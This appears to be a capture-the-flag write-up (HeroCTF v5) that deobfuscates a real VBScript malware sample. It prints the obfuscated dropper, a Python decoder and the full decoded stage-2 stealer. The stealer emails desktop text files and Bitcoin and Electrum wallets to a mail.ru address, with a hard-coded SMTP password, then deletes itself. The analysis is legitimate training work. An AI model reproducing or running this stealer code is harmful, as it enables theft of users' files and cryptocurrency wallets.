Give My Money Back
Table of Contents
Overview
- 167 solves / 50 points
- Difficulty: Easy
- Overall difficulty for me (From 1-10 stars): ★☆☆☆☆☆☆☆☆☆
Background
Joel sat at his desk, staring at the computer screen in front of her. She had just received a strange email from an unknown sender. Joel was intrigued. She hesitated for a moment, wondering if she should open the email or not. But her curiosity got the best of her, and she clicked on the message. Your goal is to help Joel find out who stole her money!
Warning : The attached archive contains real malware, do not run it on your machine! Archive password: infected
The flag corresponds to the email used for the exfiltration and the name of the last exfiltrated file, e.g. Hero{attacker@evil.com | passwords.txt}. |
Format : Hero{email|filename}
Author : xanhacks
Find the flag
In this challenge, we can download a file:
┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Reverse/Give-My-Money-Back)-[2023.05.14|16:06:12(HKT)]
└> file GiveMyMoneyBack.zip
GiveMyMoneyBack.zip: Zip archive data, at least v2.0 to extract, compression method=AES Encrypted
After extracted, we see this file:
┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Reverse/Give-My-Money-Back)-[2023.05.14|16:07:30(HKT)]
└> file edf576f75abda49a095ab28d8a822360387446ff3254544ae19c991a33125feb
edf576f75abda49a095ab28d8a822360387446ff3254544ae19c991a33125feb: Microsoft Cabinet archive data, many, 15058 bytes, 2 files, at 0x2c last modified Sun, Oct 14 2022 20:24:26 +A "description.txt" last modified Sun, Dec 08 2022 01:49:26 +A "image.png.vbs", ID 2849, number 1, 9 datablocks, 0x1203 compression
Microsoft Cabinet archive data?
A cabinet is a single file, usually with a
.cab
extension, that stores compressed files in a file library. The cabinet format is an efficient way to package multiple files because compression is performed across file boundaries, which significantly improves the compression ratio.
Let’s rename the extracted file:
┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Reverse/Give-My-Money-Back)-[2023.05.14|16:07:33(HKT)]
└> mv edf576f75abda49a095ab28d8a822360387446ff3254544ae19c991a33125feb stage1.cab
To extract .cab
file, we can use cabextract
:
┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Reverse/Give-My-Money-Back)-[2023.05.14|16:09:26(HKT)]
└> cabextract stage1.cab
Extracting cabinet: stage1.cab
extracting description.txt
extracting image.png.vbs
All done, no errors.
Nothing weird in description.txt
:
┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Reverse/Give-My-Money-Back)-[2023.05.14|16:09:27(HKT)]
└> cat description.txt | uniq
sorry server is no longer available
sorry server is no longer available
Deobfuscation
However, in image.png.vbs
, it’s a VBScript:
dIM jJkmPKZNvhSgPGmVLdvBVgOimreRTqiaEDiOcfNqy, AxEjAhgOVVhnXPrQQdPpAItXlqhuIRHOuDWWhvoyp, FwwcltIiESLKzggUCrjiaEUtjbmpvvGzwJNhoLFSp
Sub FncTqZirWltYCeayCzqdIRdKqrIzaKWRIZbSCprXS
JJKMpKZNvhsgPgMvldVBVGoiMRERTqiAEdIOcFNqY = "399711/3601*702350/6385*8573-8541*847693/8393*7119-7005*7714-7600*463-352*1137720/9980*214336/6698*-5139+5253*8037-7936*297045/2583*[...]*2065-2024"
axEjahGoVVhnxPRQQDPPaiTXLQhUIRhouDwwHvOyp = splIt(jjkMPKzNVhSgpGmvLdVBVGOimrerTQIaeDiocFNQY, chr(eVaL(75684/1802)))
for each MqNbrDAQjYRIwUnepBXnOsmlQlLuaaeTTwAchSFjz In AxEjahGovVHNxprqQdPPAITXLqhuiRHOuDwwhVOyP
FWwCltIiEsLkZgGUCRjiAEuTJbMpVVgZwJNhOLFSp = fwWCLtIieslKZgGUcrjIaEUTJBmPvvgZwjNHoLfSp & Chr(eVaL(MqnBrdaqjYRIwUnEPBxnoSMlqLluAaeTtwAchSFJz))
NEXT
lxtvaQuFKFKhmxjWgYFOSFuWJcYbTRdpUPuDAdnmD
end SUb
SUb LXTvAQufKFkHMxJwGYFOsFUwJcYBTRDPuPUdadnmD
eval(eXecUTe(fwwCltiieslkzggUCrJIaeUtjBmPvvGZwJNHoLFsp))
enD sUB
FnCtqZiRWLtyCeayCzQdIrDKqrIZAkwRIzBsCpRXs
Oh boi, it’s obfuscated.
Since this challenge’s description said that this is a real malware, I’ll deobfuscate it manually.
In line 1, it declares 3 variables:
dIM jJkmPKZNvhSgPGmVLdvBVgOimreRTqiaEDiOcfNqy, AxEjAhgOVVhnXPrQQdPpAItXlqhuIRHOuDWWhvoyp, FwwcltIiESLKzggUCrjiaEUtjbmpvvGzwJNhoLFSp
Then, in line 2 - 9, it has a function:
Sub FncTqZirWltYCeayCzqdIRdKqrIzaKWRIZbSCprXS
JJKMpKZNvhsgPgMvldVBVGoiMRERTqiAEdIOcFNqY = "399711/3601*702350/6385*8573-8541*847693/8393*7119-7005*7714-7600*463-352*1137720/9980*214336/6698*-5139+5253*8037-7936*297045/2583*[...]*2065-2024"
axEjahGoVVhnxPRQQDPPaiTXLQhUIRhouDwwHvOyp = splIt(jjkMPKzNVhSgpGmvLdVBVGOimrerTQIaeDiocFNQY, chr(eVaL(75684/1802)))
for each MqNbrDAQjYRIwUnepBXnOsmlQlLuaaeTTwAchSFjz In AxEjahGovVHNxprqQdPPAITXLqhuiRHOuDwwhVOyP
FWwCltIiEsLkZgGUCRjiAEuTJbMpVVgZwJNhOLFSp = fwWCLtIieslKZgGUcrjIaEUTJBmPvvgZwjNHoLfSp & Chr(eVaL(MqnBrdaqjYRIwUnEPBxnoSMlqLluAaeTtwAchSFJz))
NEXT
lxtvaQuFKFKhmxjWgYFOSFuWJcYbTRdpUPuDAdnmD
end SUb
We can rename the JJKMpKZNvhsgPgMvldVBVGoiMRERTqiAEdIOcFNqY
variable to strings of numbers:
dIM stringsOfNumbers, AxEjAhgOVVhnXPrQQdPpAItXlqhuIRHOuDWWhvoyp, FwwcltIiESLKzggUCrjiaEUtjbmpvvGzwJNhoLFSp
Sub FncTqZirWltYCeayCzqdIRdKqrIzaKWRIZbSCprXS
stringsOfNumbers = "399711/3601*702350/6385*8573-8541*847693/8393*7119-7005*7714-7600*463-352*1137720/9980*214336/6698*-5139+5253*8037-7936*297045/2583*[...]*2065-2024"
axEjahGoVVhnxPRQQDPPaiTXLQhUIRhouDwwHvOyp = splIt(stringsOfNumbers, chr(eVaL(75684/1802)))
for each MqNbrDAQjYRIwUnepBXnOsmlQlLuaaeTTwAchSFjz In AxEjahGovVHNxprqQdPPAITXLqhuiRHOuDwwhVOyP
FWwCltIiEsLkZgGUCRjiAEuTJbMpVVgZwJNhOLFSp = fwWCLtIieslKZgGUcrjIaEUTJBmPvvgZwjNHoLfSp & Chr(eVaL(MqnBrdaqjYRIwUnEPBxnoSMlqLluAaeTtwAchSFJz))
NEXT
lxtvaQuFKFKhmxjWgYFOSFuWJcYbTRdpUPuDAdnmD
end SUb
Next, we can see that the axEjahGoVVhnxPRQQDPPaiTXLQhUIRhouDwwHvOyp
variable is spliting the stringsOfNumbers
with delimiter *
(chr(eVaL(75684/1802))
= *
). So, let’s rename it!
dIM stringsOfNumbers, splitedStringsOfNumbers, FwwcltIiESLKzggUCrjiaEUtjbmpvvGzwJNhoLFSp
Sub FncTqZirWltYCeayCzqdIRdKqrIzaKWRIZbSCprXS
stringsOfNumbers = "399711/3601*702350/6385*8573-8541*847693/8393*7119-7005*7714-7600*463-352*1137720/9980*214336/6698*-5139+5253*8037-7936*297045/2583*[...]*2065-2024"
splitedStringsOfNumbers = splIt(stringsOfNumbers, "*")
for each MqNbrDAQjYRIwUnepBXnOsmlQlLuaaeTTwAchSFjz In splitedStringsOfNumbers
FWwCltIiEsLkZgGUCRjiAEuTJbMpVVgZwJNhOLFSp = fwWCLtIieslKZgGUcrjIaEUTJBmPvvgZwjNHoLfSp & Chr(eVaL(MqnBrdaqjYRIwUnEPBxnoSMlqLluAaeTtwAchSFJz))
NEXT
lxtvaQuFKFKhmxjWgYFOSFuWJcYbTRdpUPuDAdnmD
end SUb
After splited, it’ll loop through every index in the splitedStringsOfNumbers
array, which will again convert those numbers to a character.
Hence, we can rename those variables!
dIM stringsOfNumbers, splitedStringsOfNumbers, evaledStringsOfNumbers
Sub FncTqZirWltYCeayCzqdIRdKqrIzaKWRIZbSCprXS
stringsOfNumbers = "399711/3601*702350/6385*8573-8541*847693/8393*7119-7005*7714-7600*463-352*1137720/9980*214336/6698*-5139+5253*8037-7936*297045/2583*[...]*2065-2024"
splitedStringsOfNumbers = splIt(stringsOfNumbers, "*")
for each number In splitedStringsOfNumbers
evaledStringsOfNumbers = evaledStringsOfNumbers & Chr(eVaL(number))
NEXT
lxtvaQuFKFKhmxjWgYFOSFuWJcYbTRdpUPuDAdnmD
end SUb
It’s much more clear now!
After that for loop, it’ll invoke function lxtvaQuFKFKhmxjWgYFOSFuWJcYbTRdpUPuDAdnmD
:
SUb LXTvAQufKFkHMxJwGYFOsFUwJcYBTRDPuPUdadnmD
eval(eXecUTe(evaledStringsOfNumbers))
enD sUB
Which executes the payload. (DO NOT RUN THIS EVAL)
So, after all the renames, the deobfucasted VBScript is this:
dIM stringsOfNumbers, splitedStringsOfNumbers, evaledStringsOfNumbers
Sub functionSplitStringsOfNumbers
stringsOfNumbers = "399711/3601*702350/6385*8573-8541*847693/8393*7119-7005*7714-7600*463-352*1137720/9980*214336/6698*-5139+5253*8037-7936*297045/2583*[...]*2065-2024"
splitedStringsOfNumbers = splIt(stringsOfNumbers, "*")
for each number In splitedStringsOfNumbers
evaledStringsOfNumbers = evaledStringsOfNumbers & Chr(eVaL(number))
NEXT
evalPayload
end SUb
SUb evalPayload
eval(eXecUTe(evaledStringsOfNumbers))
enD sUB
functionSplitStringsOfNumbers
Now, we can convert the above script to Python:
#!/usr/bin/env python3
def functionSplitStringsOfNumbers():
global evaledStringsOfNumbers
evaledStringsOfNumbers = ''
stringsOfNumbers = '399711/3601*702350/6385*8573-8541*847693/8393*7119-7005*7714-[...]*2065-2024'
splitedStringsOfNumbers = stringsOfNumbers.split('*')
for number in splitedStringsOfNumbers:
evaledStringsOfNumbers += chr(int(eval(number)))
evalPayload()
def evalPayload():
# DO NOT RUN THE EVAL
# eval(evaledStringsOfNumbers)
with open('stage2.vbs', 'w') as file:
file.write(evaledStringsOfNumbers)
if __name__ == '__main__':
functionSplitStringsOfNumbers()
Let’s run that Python script! It should return the second stage payload!
┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Reverse/Give-My-Money-Back)-[2023.05.14|16:23:19(HKT)]
└> python3 deobfuscate_stage1.py
┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Reverse/Give-My-Money-Back)-[2023.05.14|16:23:25(HKT)]
└> file stage2.vbs
stage2.vbs: ASCII text
stage2.vbs
:
on error resume next
Const Desktop = 4
Const MyDocuments = 16
Set S = CreateObject("Wscript.Shell")
Set FSO = CreateObject("scripting.filesystemobject")
WScript.Sleep(1000 * 30)
strSMTP_Server = "smtp.mail.ru"
strTo = "bmwqia84@mail.ru"
strFrom = "bmwqia84@mail.ru"
strSubject = "AIRDROP"
strBody = "LOG"
Set iMsg=CreateObject("CDO.Message")
Set iConf=CreateObject("CDO.Configuration")
Set wshShell = CreateObject( "WScript.Shell" )
strUserName = wshShell.ExpandEnvironmentStrings( "%USERNAME%" )
Set Flds=iConf.Fields
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = true
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "bmwqia84@mail.ru"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "R4CMZ3rVnMFtzz6vzRi1"
Flds.Update
iMsg.Configuration=iConf
iMsg.To=strTo
iMsg.From=strFrom
iMsg.Subject=strSubject
iMsg.TextBody=strBody
Set fld = FSO.GetFolder(S.SpecialFolders(Desktop))
For each file in fld.files
if LCase(FSO.GetExtensionName(file)) = "txt" Then
iMsg.AddAttachment file.path
End if
Next
Flds.Update
iMsg.Configuration=iConf
iMsg.To=strTo
iMsg.From=strFrom
iMsg.Subject=strSubject
iMsg.TextBody=strBody
Set fld = FSO.GetFolder(S.SpecialFolders(MyDocuments))
For each file in fld.files
if LCase(FSO.GetExtensionName(file)) = "txt" Then
iMsg.AddAttachment file.path
End if
Next
iMsg.AddAttachment "C:\Users\" & strUserName & "\AppData\Local\odin\odinreport.zip"
iMsg.AddAttachment "A:\Users\" & strUserName & "\AppData\Local\odin\odinreport.zip"
iMsg.AddAttachment "B:\Users\" & strUserName & "\AppData\Local\odin\odinreport.zip"
iMsg.AddAttachment "D:\Users\" & strUserName & "\AppData\Local\odin\odinreport.zip"
iMsg.AddAttachment "C:\Users\" & strUserName & "\AppData\Roaming\Bitcoin\wallet.dat"
iMsg.AddAttachment "C:\Users\" & strUserName & "\AppData\Roaming\Electrum\wallets\default_wallet"
iMsg.Send
Set mFSO = CreateObject("Scripting.FileSystemObject")
Call mFSO.DeleteFile(WScript.ScriptFullName, True)
As you can see, this malware is an information stealer malware, as it’s exfiltrating odinreport.zip
, crypto wallets like Bitcoin’s wallet.dat
, Electrum’s default_wallet
.
Also, in this stage 2 payload, it’s adding those attachments to an email, and send to email address bmwqia84@mail.ru
.
- Flag:
Hero{bmwqia84@mail.ru|default_wallet}
Conclusion
What we’ve learned:
- Manually Deobfuscating VBScript Code